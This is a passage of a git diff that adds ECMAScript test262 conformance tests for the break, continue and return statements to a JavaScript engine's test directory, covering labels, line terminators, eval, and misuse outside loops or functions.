+ throw 1;
+ } catch(e){
+ continue;
+ }
+}
+})();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (x!==10) {
+ $ERROR('#1: Continue inside of try-catch nested in loop is allowed');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.7/browser.js b/js/src/tests/test262/ch12/12.7/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.7/browser.js
diff --git a/js/src/tests/test262/ch12/12.7/shell.js b/js/src/tests/test262/ch12/12.7/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.7/shell.js
diff --git a/js/src/tests/test262/ch12/12.8/12.8-1.js b/js/src/tests/test262/ch12/12.8/12.8-1.js
new file mode 100644
index 000000000..e32f54168
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.8/12.8-1.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.8/12.8-1.js
+ * @description The break Statement - a break statement without an identifier may have a LineTerminator before the semi-colon
+ */
+
+
+function testcase() {
+ var sum = 0;
+ for (var i = 1; i <= 10; i++) {
+ if (i === 6) {
+ break
+ ;
+ }
+ sum += i;
+ }
+ return sum === 15;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.8/S12.8_A1_T1.js b/js/src/tests/test262/ch12/12.8/S12.8_A1_T1.js
new file mode 100644
index 000000000..546e66780
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.8/S12.8_A1_T1.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of break without an IterationStatement leads to syntax error
+ *
+ * @path ch12/12.8/S12.8_A1_T1.js
+ * @description Checking if break statement with no loop fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+var x=1;
+break;
+var y=2;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.8/S12.8_A1_T2.js b/js/src/tests/test262/ch12/12.8/S12.8_A1_T2.js
new file mode 100644
index 000000000..c141c7722
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.8/S12.8_A1_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of break without an IterationStatement leads to syntax error
+ *
+ * @path ch12/12.8/S12.8_A1_T2.js
+ * @description Checking if break Identifier with no loop fails
+ * @negative
+ */
+
+LABEL : x=3.14;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+var x=1;
+break LABEL;
+var y=2;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.8/S12.8_A1_T3.js b/js/src/tests/test262/ch12/12.8/S12.8_A1_T3.js
new file mode 100644
index 000000000..6627be368
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.8/S12.8_A1_T3.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of break without an IterationStatement leads to syntax error
+ *
+ * @path ch12/12.8/S12.8_A1_T3.js
+ * @description Checking if break statement with no loop, placed into a block, fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+{
+ var x=1;
+ break;
+ var y=2;
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.8/S12.8_A1_T4.js b/js/src/tests/test262/ch12/12.8/S12.8_A1_T4.js
new file mode 100644
index 000000000..1663fc5f5
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.8/S12.8_A1_T4.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of break without an IterationStatement leads to syntax error
+ *
+ * @path ch12/12.8/S12.8_A1_T4.js
+ * @description Checking if break Identifier with no loop, placed into a block, fails
+ * @negative
+ */
+
+LABEL : x=3.14;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+{
+ var x=1;
+ break LABEL;
+ var y=2;
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.8/S12.8_A2.js b/js/src/tests/test262/ch12/12.8/S12.8_A2.js
new file mode 100644
index 000000000..a1154aeca
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.8/S12.8_A2.js
@@ -0,0 +1,64 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Since LineTerminator between "break" and Identifier is not allowed, "break" is evaluated without label
+ *
+ * @path ch12/12.8/S12.8_A2.js
+ * @description Checking by using eval, inserting LineTerminator between break and Identifier
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try{
+ eval("FOR1 : for(var i=1;i<2;i++){ LABEL1 : do {var x =1;break\u000AFOR1;var y=2;} while(0);}");
+ if (i!==2) {
+ $ERROR('#1: Since LineTerminator(U-000A) between break and Identifier not allowed break evaluates without label');
+ }
+} catch(e){
+ $ERROR('#1.1: eval("FOR1 : for(var i=1;i<2;i++){ LABEL1 : do {var x =1;break\\u000AFOR1;var y=2;} while(0);}") does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+try{
+ eval("FOR2 : for(var i=1;i<2;i++){ LABEL2 : do {var x =1;break\u000DFOR2;var y=2;} while(0);}");
+ if (i!==2) {
+ $ERROR('#2: Since LineTerminator(U-000D) between break and Identifier not allowed break evaluates without label');
+ }
+} catch(e){
+ $ERROR('#2.1: eval("FOR2 : for(var i=1;i<2;i++){ LABEL2 : do {var x =1;break\\u000DFOR2;var y=2;} while(0);}") does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+try{
+ eval("FOR3 : for(var i=1;i<2;i++){ LABEL3 : do {var x =1;break\u2028FOR3;var y=2;} while(0);}");
+ if (i!==2) {
+ $ERROR('#3: Since LineTerminator(U-2028) between break and Identifier not allowed break evaluates without label');
+ }
+} catch(e){
+ $ERROR('#3.1: eval("FOR3 : for(var i=1;i<2;i++){ LABEL3 : do {var x =1;break\\u2028FOR3;var y=2;} while(0);}") does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+try{
+ eval("FOR4 : for(var i=1;i<2;i++){ LABEL4 : do {var x =1;break\u2029FOR4;var y=2;} while(0);}");
+ if (i!==2) {
+ $ERROR('#4: Since LineTerminator(U-2029) between break and Identifier not allowed break evaluates without label');
+ }
+} catch(e){
+ $ERROR('#4.1: eval("FOR4 : for(var i=1;i<2;i++){ LABEL4 : do {var x =1;break\\u2029FOR4;var y=2;} while(0);}") does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
diff --git a/js/src/tests/test262/ch12/12.8/S12.8_A3.js b/js/src/tests/test262/ch12/12.8/S12.8_A3.js
new file mode 100644
index 000000000..d2aaa5ad3
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.8/S12.8_A3.js
@@ -0,0 +1,34 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When "break" is evaluated, (break, empty, empty) is returned
+ *
+ * @path ch12/12.8/S12.8_A3.js
+ * @description Using "break" without Identifier within labeled loop
+ */
+
+LABEL_OUT : var x=0, y=0;
+
+LABEL_DO_LOOP : do {
+ LABEL_IN : x=2;
+ break ;
+ LABEL_IN_2 : var y=2;
+
+ function IN_DO_FUNC(){}
+} while(0);
+
+LABEL_ANOTHER_LOOP : do {
+ ;
+} while(0);
+
+function OUT_FUNC(){}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if ((x!==2)&&(y!==0)) {
+ $ERROR('#1: x === 2 and y === 0. Actual: x ==='+x+' and y ==='+y);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.8/S12.8_A4_T1.js b/js/src/tests/test262/ch12/12.8/S12.8_A4_T1.js
new file mode 100644
index 000000000..86e258a4e
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.8/S12.8_A4_T1.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When "break Identifier" is evaluated, (break, empty, Identifier) is returned
+ *
+ * @path ch12/12.8/S12.8_A4_T1.js
+ * @description Using "break Identifier" within labaeled loop
+ */
+
+LABEL_OUT : var x=0, y=0;
+(function(){
+LABEL_DO_LOOP : do {
+ LABEL_IN : x++;
+ if(x===10)return;
+ break LABEL_DO_LOOP;
+ LABEL_IN_2 : y++;
+
+ function IN_DO_FUNC(){}
+} while(0);
+
+LABEL_ANOTHER_LOOP : do {
+ ;
+} while(0);
+
+function OUT_FUNC(){}
+})();
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if ((x!==1)&&(y!==0)) {
+ $ERROR('#1: x === 1 and y === 0. Actual: x === '+x+' and y ==='+ y );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.8/S12.8_A4_T2.js b/js/src/tests/test262/ch12/12.8/S12.8_A4_T2.js
new file mode 100644
index 000000000..8662cf829
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.8/S12.8_A4_T2.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When "break Identifier" is evaluated, (break, empty, Identifier) is returned
+ *
+ * @path ch12/12.8/S12.8_A4_T2.js
+ * @description Using embedded and labeled loops, breaking to nested loop
+ */
+
+LABEL_OUT : var x=0, y=0, xx=0, yy=0;
+(function(){
+LABEL_DO_LOOP : do {
+ LABEL_IN : x++;
+ if(x===10)return;
+ LABEL_NESTED_LOOP : do {
+ LABEL_IN_NESTED : xx++;
+ if(xx===10)return;
+ break LABEL_NESTED_LOOP;
+ LABEL_IN_NESTED_2 : yy++;
+ } while (0);
+
+ LABEL_IN_2 : y++;
+
+ function IN_DO_FUNC(){}
+} while(0);
+
+LABEL_ANOTHER_LOOP : do {
+ ;
+} while(0);
+
+function OUT_FUNC(){}
+})();
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if ((x!==1)&&(y!==1)&&(xx!==1)&(yy!==0)) {
+ $ERROR('#1: x === 1 and y === 1 and xx === 1 and yy === 0. Actual: x==='+x+' and y==='+y+' and xx==='+xx+' and yy==='+yy );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.8/S12.8_A4_T3.js b/js/src/tests/test262/ch12/12.8/S12.8_A4_T3.js
new file mode 100644
index 000000000..7ca7fc2d6
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.8/S12.8_A4_T3.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When "break Identifier" is evaluated, (break, empty, Identifier) is returned
+ *
+ * @path ch12/12.8/S12.8_A4_T3.js
+ * @description Using embedded and labeled loops, breaking to outer loop
+ */
+
+LABEL_OUT : var x=0, y=0, xx=0, yy=0;
+(function(){
+LABEL_DO_LOOP : do {
+ LABEL_IN : x++;
+ if(x===10)return;
+ LABEL_NESTED_LOOP : do {
+ LABEL_IN_NESTED : xx++;
+ if(xx===10)return;
+ break LABEL_DO_LOOP;
+ LABEL_IN_NESTED_2 : yy++;
+ } while (0);
+
+ LABEL_IN_2 : y++;
+
+ function IN_DO_FUNC(){}
+} while(0);
+
+LABEL_ANOTHER_LOOP : do {
+ ;
+} while(0);
+
+function OUT_FUNC(){}
+})();
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if ((x!==1)&&(y!==0)&&(xx!==1)&(yy!==0)) {
+ $ERROR('#1: x === 1 and y === 0 and xx === 1 and yy === 0. Actual: x==='+x+' and y==='+y+' and xx==='+xx+' and yy==='+yy );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.8/S12.8_A5_T1.js b/js/src/tests/test262/ch12/12.8/S12.8_A5_T1.js
new file mode 100644
index 000000000..34fbed938
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.8/S12.8_A5_T1.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Identifier must be label in the label set of an enclosing (but not crossing function boundaries) IterationStatement
+ *
+ * @path ch12/12.8/S12.8_A5_T1.js
+ * @description Checking if breaking another labeled loop fails
+ * @negative
+ */
+
+(function(){
+ LABEL_OUT : var x=0, y=0;
+ LABEL_DO_LOOP : do {
+ LABEL_IN : x++;
+ if(x===10)
+ return;
+ break LABEL_ANOTHER_LOOP;
+ LABEL_IN_2 : y++;
+ function IN_DO_FUNC(){}
+ } while(0);
+
+ LABEL_ANOTHER_LOOP : do {
+ ;
+ } while(0);
+
+ function OUT_FUNC(){}
+})();
+
diff --git a/js/src/tests/test262/ch12/12.8/S12.8_A5_T2.js b/js/src/tests/test262/ch12/12.8/S12.8_A5_T2.js
new file mode 100644
index 000000000..f843c3bb1
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.8/S12.8_A5_T2.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Identifier must be label in the label set of an enclosing (but not crossing function boundaries) IterationStatement
+ *
+ * @path ch12/12.8/S12.8_A5_T2.js
+ * @description Checking if using function name as an Identifier appears to be invalid
+ * @negative
+ */
+
+(function(){
+ LABEL_OUT : var x=0, y=0;
+ LABEL_DO_LOOP : do {
+ LABEL_IN : x++;
+ if(x===10)
+ return;
+ break IN_DO_FUNC;
+ LABEL_IN_2 : y++;
+ function IN_DO_FUNC(){}
+ } while(0);
+
+ LABEL_ANOTHER_LOOP : do {
+ ;
+ } while(0);
+
+ function OUT_FUNC(){}
+})();
+
diff --git a/js/src/tests/test262/ch12/12.8/S12.8_A5_T3.js b/js/src/tests/test262/ch12/12.8/S12.8_A5_T3.js
new file mode 100644
index 000000000..d6f930705
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.8/S12.8_A5_T3.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Identifier must be label in the label set of an enclosing (but not crossing function boundaries) IterationStatement
+ *
+ * @path ch12/12.8/S12.8_A5_T3.js
+ * @description Checking if using internal loop label as an Identifier appears to be invalid
+ * @negative
+ */
+
+(function(){
+ LABEL_OUT : var x=0, y=0;
+ LABEL_DO_LOOP : do {
+ LABEL_IN : x++;
+ if(x===10)
+ return;
+ break LABEL_IN;
+ LABEL_IN_2 : y++;
+
+ function IN_DO_FUNC(){}
+
+ } while(0);
+
+ LABEL_ANOTHER_LOOP : do {
+ ;
+ } while(0);
+
+ function OUT_FUNC(){}
+
+})();
+
diff --git a/js/src/tests/test262/ch12/12.8/S12.8_A6.js b/js/src/tests/test262/ch12/12.8/S12.8_A6.js
new file mode 100644
index 000000000..264f74d86
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.8/S12.8_A6.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of "break" within a function call that is nested in a IterationStatement yields SyntaxError
+ *
+ * @path ch12/12.8/S12.8_A6.js
+ * @description Checking if using "break Identifier" within a function body appears to be invalid
+ * @negative
+ */
+
+var x=0,y=0;
+
+LABEL1 : do {
+ x++;
+ (function(){break LABEL1;})();
+ y++;
+} while(0);
+
diff --git a/js/src/tests/test262/ch12/12.8/S12.8_A7.js b/js/src/tests/test262/ch12/12.8/S12.8_A7.js
new file mode 100644
index 000000000..a5f5bebaf
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.8/S12.8_A7.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of "break" within eval statement that is nested in an IterationStatement yields SyntaxError
+ *
+ * @path ch12/12.8/S12.8_A7.js
+ * @description Using eval "eval("break LABEL1")"
+ */
+
+var x=0,y=0;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try{
+ LABEL1 : do {
+ x++;
+ eval("break LABEL1");
+ y++;
+ } while(0);
+ $ERROR('#1: eval("break LABEL1") does not lead to throwing exception');
+} catch(e){
+ if(!(e instanceof SyntaxError)){
+ $ERROR("1.1: Appearing of break within eval statement inside of IterationStatement yields SyntaxError");
+ }
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.8/S12.8_A8_T1.js b/js/src/tests/test262/ch12/12.8/S12.8_A8_T1.js
new file mode 100644
index 000000000..cbcba7f69
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.8/S12.8_A8_T1.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of "break" within "try/catch" Block yields SyntaxError
+ *
+ * @path ch12/12.8/S12.8_A8_T1.js
+ * @description Checking if using "break Identifier" from within catch Block appears to be invalid
+ * @negative
+ */
+
+var x=0,y=0;
+
+try{
+ LABEL1 : do {
+ x++;
+ throw "gonna leave it";
+ y++;
+ } while(0);
+ $ERROR('#1: throw "gonna leave it" lead to throwing exception');
+} catch(e){
+ break LABEL2;
+ LABEL2 : do {
+ x++;
+ y++;
+ } while(0);
+}
+
+
diff --git a/js/src/tests/test262/ch12/12.8/S12.8_A8_T2.js b/js/src/tests/test262/ch12/12.8/S12.8_A8_T2.js
new file mode 100644
index 000000000..92771babf
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.8/S12.8_A8_T2.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of "break" within "try/catch" Block yields SyntaxError
+ *
+ * @path ch12/12.8/S12.8_A8_T2.js
+ * @description Checking if using "break Identifier" from within catch Block appears to be invalid
+ * @negative
+ */
+
+var x=0,y=0;
+
+try{
+ LABEL1 : do {
+ x++;
+ throw "gonna leave it";
+ y++;
+ } while(0);
+ $ERROR('#1: throw "gonna leave it" lead to throwing exception');
+} catch(e){
+ break;
+ LABEL2 : do {
+ x++;
+ y++;
+ } while(0);
+}
+
+
diff --git a/js/src/tests/test262/ch12/12.8/S12.8_A9_T1.js b/js/src/tests/test262/ch12/12.8/S12.8_A9_T1.js
new file mode 100644
index 000000000..60da11ef2
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.8/S12.8_A9_T1.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Using "break" within "try/catch" statement that is nested in a loop is allowed
+ *
+ * @path ch12/12.8/S12.8_A9_T1.js
+ * @description Using "continue Identifier" within "catch" statement
+ */
+
+var x=0,y=0;
+
+(function(){
+FOR : for(;;){
+ try{
+ x++;
+ if(x===10)return;
+ throw 1;
+ } catch(e){
+ break FOR;
+ }
+}
+})();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (x!==1) {
+ $ERROR('#1: break inside of try-catch nested in loop is allowed');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.8/S12.8_A9_T2.js b/js/src/tests/test262/ch12/12.8/S12.8_A9_T2.js
new file mode 100644
index 000000000..53dc3555c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.8/S12.8_A9_T2.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Using "break" within "try/catch" statement that is nested in a loop is allowed
+ *
+ * @path ch12/12.8/S12.8_A9_T2.js
+ * @description Using "continue Identifier" within "catch" statement
+ */
+
+var x=0,y=0;
+
+(function(){
+FOR : for(;;){
+ try{
+ x++;
+ if(x===10)return;
+ throw 1;
+ } catch(e){
+ break ;
+ }
+}
+})();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (x!==1) {
+ $ERROR('#1: break inside of try-catch nested in loop is allowed');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.8/browser.js b/js/src/tests/test262/ch12/12.8/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.8/browser.js
diff --git a/js/src/tests/test262/ch12/12.8/shell.js b/js/src/tests/test262/ch12/12.8/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.8/shell.js
diff --git a/js/src/tests/test262/ch12/12.9/12.9-1.js b/js/src/tests/test262/ch12/12.9/12.9-1.js
new file mode 100644
index 000000000..098042e93
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.9/12.9-1.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.9/12.9-1.js
+ * @description The return Statement - a return statement without an expression may have a LineTerminator before the semi-colon
+ */
+
+
+function testcase() {
+ var sum = 0;
+ (function innerTest() {
+ for (var i = 1; i <= 10; i++) {
+ if (i === 6) {
+ return
+ ;
+ }
+ sum += i;
+ }
+ })();
+ return sum === 15;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.9/S12.9_A1_T1.js b/js/src/tests/test262/ch12/12.9/S12.9_A1_T1.js
new file mode 100644
index 000000000..a4115f7ec
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.9/S12.9_A1_T1.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of "return" without a function body leads to syntax error
+ *
+ * @path ch12/12.9/S12.9_A1_T1.js
+ * @description Checking if execution of "return" with no function fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+var x=1;
+return;
+var y=2;
+
diff --git a/js/src/tests/test262/ch12/12.9/S12.9_A1_T10.js b/js/src/tests/test262/ch12/12.9/S12.9_A1_T10.js
new file mode 100644
index 000000000..63bcd816c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.9/S12.9_A1_T10.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of "return" without a function body leads to syntax error
+ *
+ * @path ch12/12.9/S12.9_A1_T10.js
+ * @description Checking if execution of "return (0)" with no function fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+return (0);
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.9/S12.9_A1_T2.js b/js/src/tests/test262/ch12/12.9/S12.9_A1_T2.js
new file mode 100644
index 000000000..74f657b60
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.9/S12.9_A1_T2.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of "return" without a function body leads to syntax error
+ *
+ * @path ch12/12.9/S12.9_A1_T2.js
+ * @description Checking if execution of "return x" with no function fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+var x=1;
+return x;
+var y=2;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.9/S12.9_A1_T3.js b/js/src/tests/test262/ch12/12.9/S12.9_A1_T3.js
new file mode 100644
index 000000000..8f22b8859
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.9/S12.9_A1_T3.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of "return" without a function body leads to syntax error
+ *
+ * @path ch12/12.9/S12.9_A1_T3.js
+ * @description Checking if execution of "return" within "try" statement fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ return 1;
+} catch(e){
+ return 1;
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.9/S12.9_A1_T4.js b/js/src/tests/test262/ch12/12.9/S12.9_A1_T4.js
new file mode 100644
index 000000000..3add975cb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.9/S12.9_A1_T4.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of "return" without a function body leads to syntax error
+ *
+ * @path ch12/12.9/S12.9_A1_T4.js
+ * @description Checking if execution of "return" with no function fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+return;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.9/S12.9_A1_T5.js b/js/src/tests/test262/ch12/12.9/S12.9_A1_T5.js
new file mode 100644
index 000000000..a53d7c764
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.9/S12.9_A1_T5.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of "return" without a function body leads to syntax error
+ *
+ * @path ch12/12.9/S12.9_A1_T5.js
+ * @description Checking if execution of "return" with no function, placed into a Block, fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+{
+ var x=1;
+ return;
+ var y=2;
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.9/S12.9_A1_T6.js b/js/src/tests/test262/ch12/12.9/S12.9_A1_T6.js
new file mode 100644
index 000000000..aea6ec977
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.9/S12.9_A1_T6.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of "return" without a function body leads to syntax error
+ *
+ * @path ch12/12.9/S12.9_A1_T6.js
+ * @description Checking if execution of "return" with no function, placed into a loop, fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+do {
+ var x=1;
+ return;
+ var y=2;
+} while(0);
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.9/S12.9_A1_T7.js b/js/src/tests/test262/ch12/12.9/S12.9_A1_T7.js
new file mode 100644
index 000000000..ad863d473
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.9/S12.9_A1_T7.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of "return" without a function body leads to syntax error
+ *
+ * @path ch12/12.9/S12.9_A1_T7.js
+ * @description Checking if execution of "return x" with no function, placed inside Block, fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+{
+ var x=1;
+ return x;
+ var y=2;
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.9/S12.9_A1_T8.js b/js/src/tests/test262/ch12/12.9/S12.9_A1_T8.js
new file mode 100644
index 000000000..edfbd1660
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.9/S12.9_A1_T8.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of "return" without a function body leads to syntax error
+ *
+ * @path ch12/12.9/S12.9_A1_T8.js
+ * @description Checking if execution of "return x" with no function, placed into a loop, fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+do {
+ var x=1;
+ return x;
+ var y=2;
+} while(0);
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.9/S12.9_A1_T9.js b/js/src/tests/test262/ch12/12.9/S12.9_A1_T9.js
new file mode 100644
index 000000000..57e39aee7
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.9/S12.9_A1_T9.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
